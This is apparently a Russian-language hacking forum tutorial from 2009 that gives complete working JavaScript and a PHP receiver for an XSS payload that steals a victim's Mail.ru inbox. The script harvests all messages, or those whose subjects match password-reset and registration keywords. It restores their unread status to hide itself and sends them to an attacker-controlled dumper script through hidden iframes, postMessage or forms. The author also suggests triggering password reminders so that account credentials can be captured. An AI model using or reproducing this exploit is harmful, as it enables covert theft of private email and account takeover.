MAIL.RU
1. Общее описание
На этом почтовом сервисе дело обстоит не так просто. Массовой пересылки нет. Пересылка в течение короткого времени нескольких единичных сообщений в интерфейсе win.mail.ru влечет необходимость ввода числа на каптче в одной из следующих попыток. Следовательно, переложить на сервер бремя отправки почты юзера, как это сделано на рамблере, нам не удасться.
Выход один: будем отправлять почту через сам браузер. С необходимостью возникает вопрос о методе - post или get?
Многолетний опыт показывает, что отправлять большие сообщения гетом на сниффер, разделяя слишком большие из них на несколько частей, - это всё равно, что рассовывать слонов по карманам. Но раньше другого выхода не было, поскольку пост-метод громко заявлял о себе индикатором в статус-баре. В настоящее время созданы условия, при которых все браузеры последнего поколения (Opera 10, IE 8, FF 3.5, Safari 4, GChrome 3) единообразно поддерживают механизм postMessage, описанный в HTML5 (подробнее:
_http://javascript.ru/ajax/cross-origin-2#html5:-postmessage). Поддержка кроссдоменного XMLHttp благодаря IE на данный момент не является единообразной.
Нами будет использован следующий механизм отправки пост-методом:
1) Через innerHTML (оптимальный вариант) скрипт создает невидимую форму.
2) Tаким же образом создается нулевой ифрейм с адресом нашего скрипта-приемника, содержащий код, который будет слушать поступающие к нему postMessage и пересылать их на сохранение тому же приемнику обычным XMLHttp.
3) Если браузер не поддерживает HTML5, то этот же ифрейм будет использоваться в качестве канализатора (
form target=frame_name), дабы наша страница не обновлялась при сабмите формы, в которую вставлено скаченное браузером сообщение.
У рассматриваемого сервиса с не столь давних времен появился аякс-интерфейс, частично совместимый с оригинальным интерфейсом. Эта частичная совместимость проявляется в том, что письма даже на домене win.mail.ru можно получать в очень компактном виде json-строки (можете проверить:
_http://win.mail.ru/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_da ta&data=["11111111111111111111"]). Из этой строки можно вытянуть почти все данные о письме: адреса аттачей, статус сообщения, тему, дату и т.д. В этом же виде вы увидите эти сообщения сохраненными. Для просмотра их в более привычном виде, можно написать отдельную программу, пока же отдадим приоритет простоте.
В настоящее время есть ещё одна интересная возможность пересыльщика на mail.ru - возможность запуска, используя xss c поддоменов, отличающихся от win.mail.ru, pro.mail.ru - реализовано с помощью управления свойством document.domain (подробнее:
_http://javascript.ru/ajax/cross-domain-scripting#kross-domennyy-skripting-s-obshchim-naddomenom). Если скрипт определяет, что его расположение отличается от означенных выше почтовых доменов, он изменяет свойство domain текущего документа на 'mail.ru', подрубается к
http://win.mail.ru/cgi-bin/search (на этой странице он находит такой же domain) и делает запросы, уже используя объекты XMLHttp, созданные на поддомене win.mail.ru.
Общая схема работы сборщика:
1) Определение места своего запуска и выбор вариантов работы: с win.mail.ru, pro.mail.ru или с другого поддомена.
2) Сбор идов всех папок (если нужно).
3) Сбор всех идов писем на одной странице в массив.
4) Получение письма.
5) Отправка письма.
6) Повторение 4-5, пока не закончатся иды в массиве.
7) Переход к другой странице (если таковая имеется), повторение 3-6.
8) Переход к другой папке, повторение 3-7.
Фильтр. Установка фильтра обусловлена вводом текущего пароля, поэтому в этом направлении ловить нечего.
1. Глобальная область скрипта
Код:
/*/// --> :Mail.ru: <-- /////
///// --> :LeverOne. 11.2009: <-- /////
///// --> :Example: <-- /////
javascript:
with(window) dumper='http://yoursite.xz/dumper.php'
//, grab_all=true %0A
;with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/mail_all.js';
void(0);
///*/
dumper = window.dumper || false;
grab_all = window.grab_all || false;
mask = '%EE%F1%F2%F3%EF%7c' + '%e5%e3%e8%f1%f2%f0%7cignup%7cegist' + '%7c%e0%f0%ee%eb%7c%ee%e4%f2%e2%e5%f0%7c%ee' + '%e6%e0%eb%ee%e2%7c%ea%f2%e8%e2%7c%ee%e4%ef%e8%f1' ;
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, folders, folders_index, page, is_next_page, context = window;
document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';
if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';
if (dumper != false)
switch (location.hostname) {
case 'win.mail.ru':
case 'koi.mail.ru':
grab_all ? get_folders_html() : get_ids_html(1);
break;
case 'pro.mail.ru':
ajax = true;
grab_all ? get_folders_ajax() : get_ids_ajax();
break;
default:
/* if xss on [sub].mail.ru */
try {document.domain = 'mail.ru'} catch(er){}
document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; grab_all ? get_folders_html() : get_ids_html(1);"><\/iframe>';
}
Указываете адрес вашего скрипта-приемника (dumper.php). Это можно сделать при запуске, не трогая код:
dumper='http://myhost.xz/dumper.php'; with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='adres_do_ckripta';
grab_all - это переменная отвечающая за
режим отправки.
Скрипт имеет два режима: полный сбор всех сообщений (
grab_all=true) и сбор по маске (
grab_all=false, сама маска задается в переменной
mask). По умолчанию режим полной пересылки выключен. Режим полной отправки также можно установить динамически при запуске. Режим сбора по маске - это особый режим! Здесь скрипт ищет определенные совпадения в теме сообщения и отсылает только те письма, которые содержат эту интересующую нас тему. Смысл этой настройки очевидна - экономия времени за счет отсеивания писем с безынтересным для нас содержанием.
Я установил несколько шаблонов, которые будут встречаться в темах писем с данными регистрации, напоминанием пароля и т.п. (
оступ|егистр|ignup|egist|арол|од вер|ожалов|ктив|одпис);
Сбор по маске очень удобен в сочетании с "
незапрошенным напоминанием пароля": вы пробиваете по куче сервисов, где может быть зарегистрирован пользователь, его ящик, напоминая ему пароль (где он не изменяется при этом). Вместе с этой веселой кучей напоминаний отправляется ваше не менее веселое сообщение с XSS.
Далее в этом куске кода вы также можете видеть:
- вставку ифрейма со слушателем postMessage
- вставку формы, если браузер не поддерживает HTML5
- определение местонаходжения сборщика и вставка ифрейма, если сборщик запускается не на почтовых субдоменах.
- запуск функций в зависимости от расположения сборщика и режима сбора писем.
Теперь коротко пройдем по функциям.
2. Универсальная функция запроса
С помощью этой функции работают все остальные. Имеет два параметра - урл, куда нужно подключаться, и ,второй параметр, - функция обработки ответа сервера.
Код:
function requester(url, func) {
try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
r.open('GET', url);
r.onreadystatechange = func;
r.send(null);
}
3. Получение всех папок
Эти функции используются только тогда, когда выбран режим полного сбора. Их две - по одной на html- и ajax-интерфейс. В случае с ajax-интерфейсом иды выделяются из json-строки путем ее интерпретации. Одновременно в аякс-интерфейсе получаются и все иды входящих писем, и запускается получение их тела.
Код:
function get_folders_html() {
requester('http://win.mail.ru/cgi-bin/folders',
function() {
if (r.readyState == 4) {
folders = r.responseText.match(/msglist\?folder=\d+/g);
get_all_ids_html(folders_index = 0, page = 1);
}
}
);
}
function get_folders_ajax() {
requester('http://pro.mail.ru/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D',
function() {
if (r.readyState == 4) {
folders = eval(r.responseText)[2].fList;
ids = eval(r.responseText)[2].mList;
ids[ids_index = 0] ? get_message(folders_index = 0) : get_all_ids_ajax(folders_index = 1);
}
}
);
}
4. Получение идентификаторов всех писем
В html-интерфейсе мы получаем иды писем постранично, в ajax-интерфейсе мы можем получить все иды в папке одномоментно. А можем теоретически получить вообще все письма в ящике, но тогда возникнет проблема с их сортировкой.
Код:
function get_all_ids_html() {
requester('http://win.mail.ru/cgi-bin/' + folders[folders_index] + '&page=' + page,
function() {
if (r.readyState == 4) {
response = r.responseText;
is_next_page = (response.indexOf('&'+'#8250') != -1) ? true : false;
ids = response.match(/\d{20}(?="><\/td>)/gi) || '';
ids[ids_index = 0] ? get_message() : (folders[++folders_index] ? get_all_ids_html(page = 1) : false);
}
}
);
}
function get_all_ids_ajax() {
requester('http://pro.mail.ru/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' + folders[folders_index].ID + '%2C%22D%22%5D',
function() {
if (r.readyState == 4) {
ids = eval(r.responseText)[2].mList;
ids[ids_index = 0] ? get_message() : (folders[++folders_index] ? get_all_ids_ajax() : false);
}
}
);
}
5. Получение идентификаторов писем, отобранных по маске
Функции отбирают письма по маске, используя поиск писем почтовой службы.
Код:
function get_ids_html() {
requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all',
function() {
if (r.readyState == 4) {
ids = (r.responseText.match(/\d{20}(?="><\/td>)/gi) || '').concat(ids) || '';
r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message() : false);
}
}
);
}
function get_ids_ajax() {
requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
function() {
if (r.readyState == 4) {
ids = r.responseText.match(/\d{20}(?=_msg)/g) || '';
if (ids[ids_index = 0]) get_message(ids[ids_index]);
}
}
);
}
6. Получение и отправка каждого письма
Эта функция едина для любого интерфейса по причинам, названным выше.
Здесь же производится проверка статуса сообщения - если оно непрочитано (FlagUnread = 1), посылается команда сделать его непрочитанным, таким образом, статус его не меняется.
Код:
function get_message() {
requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + ids[ids_index] + '%22%5D',
function() {
if (r.readyState == 4) {
message = r.responseText;
if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1&func_name=ajax_mark_msg' + '&data=%5B%5B%7B%22msgId%22%3A%22' + ids[ids_index] + '%22%2C%22mark%22%3A1%7D%5D%5D', null);
message = encodeURIComponent(message);
if (window.postMessage) /* HTML 5 */
document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
else /* HTML<5 */
document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
ids[++ids_index] ? get_message() :
(window.is_next_page ? get_all_ids_html(++page) : (folders[++folders_index] ? (window.ajax ? get_all_ids_ajax() : get_all_ids_html(page = 1)): false));
}
}
);
}
7. Эффекты работы скрипта
Во время работы:
Если браузер поддерживает postMessage - никаких.
Если не поддерживает - будет мелькать адрес скрипта приемника и появляться прогресс-бар, если велик объем отправляемых данных.
После работы:
Никаких следов работы скрипта в ящике не остается.
JS-cборщик сообщений на mail.ru, работающий только по маске
Также написан такой вот сборщик для тех, кто полную пересылку считает лишней (к ним отношусь сам).
Код:
/*/// --> :Mail.ru: <-- /////
///// --> :LeverOne. 11.2009: <-- /////
///// --> :Example: <-- /////
javascript:
with(window) dumper='http://yoursite.xz/dumper.php';
with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/mail_adv.js';
void(0);
///*/
dumper = window.dumper || false;
mask = '%EE%F1%F2%F3%EF%7c' + '%e5%e3%e8%f1%f2%f0%7cignup%7cegist' + '%7c%e0%f0%ee%eb%7c%ee%e4%f2%e2%e5%f0%7c%ee' + '%e6%e0%eb%ee%e2%7c%ea%f2%e8%e2%7c%ee%e4%ef%e8%f1' ;
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, context = window;
document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';
if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';
if (dumper != false)
switch (location.hostname) {
case 'win.mail.ru':
case 'koi.mail.ru':
get_ids_html(1);
break;
case 'pro.mail.ru':
get_ids_ajax();
break;
default:
/* if xss on [sub].mail.ru */
try {document.domain = 'mail.ru'} catch(er){}
document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
}
function get_ids_html(page) {
requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all',
function() {
if (r.readyState == 4) {
ids = (r.responseText.match(/\d{20}(?="><\/td>)/gi) || '').concat(ids) || '';
r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message() : false);
}
}
);
}
function get_ids_ajax() {
requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
function() {
if (r.readyState == 4) {
ids = r.responseText.match(/\d{20}(?=_msg)/g) || '';
if (ids[ids_index = 0]) get_message();
}
}
);
}
function get_message() {
requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + ids[ids_index] + '%22%5D',
function() {
if (r.readyState == 4) {
message = r.responseText;
if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + ids[ids_index] + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);
message = encodeURIComponent(message);
if (window.postMessage) /* HTML 5 */
document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
else /* HTML<5 */
document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
if (ids[++ids_index]) get_message();
}
}
);
}
function requester(url, func) {
try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
r.open('GET', url);
r.onreadystatechange = func;
r.send(null);
}
Приемник
dumper.php
PHP код:
<?php
error_reporting(0);
if ($_REQUEST['action'] == 'sender')
{
?>
<html>
<body>
<script>
if (window.addEventListener) {
window.addEventListener('message', listener, false);
} else {
window.attachEvent('onmessage', listener);
}
function listener(event) {
with (new XMLHttpRequest())
open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
send(event.data);
}
</script>
</body>
</html>
<?php
die();
}
else if($_REQUEST['action'] == 'save')
{
$_REQUEST['email'] = rawurldecode($_REQUEST['email']);
if (!get_magic_quotes_gpc()) $_REQUEST['email'] = addslashes($_REQUEST['email']);
$fp = fopen("./" .$_REQUEST['email']. ".txt", "ab") or die();
fwrite($fp, rawurldecode($_REQUEST['message'])."\r\n\r\n");
fclose($fp);
}
?>
В результате должен появиться файл txt с именем e-mail'ла и регистрационной информацией.
Синтетическое решение: _
https://forum.antichat.ru/showpost.php?p=1405040&postcount=7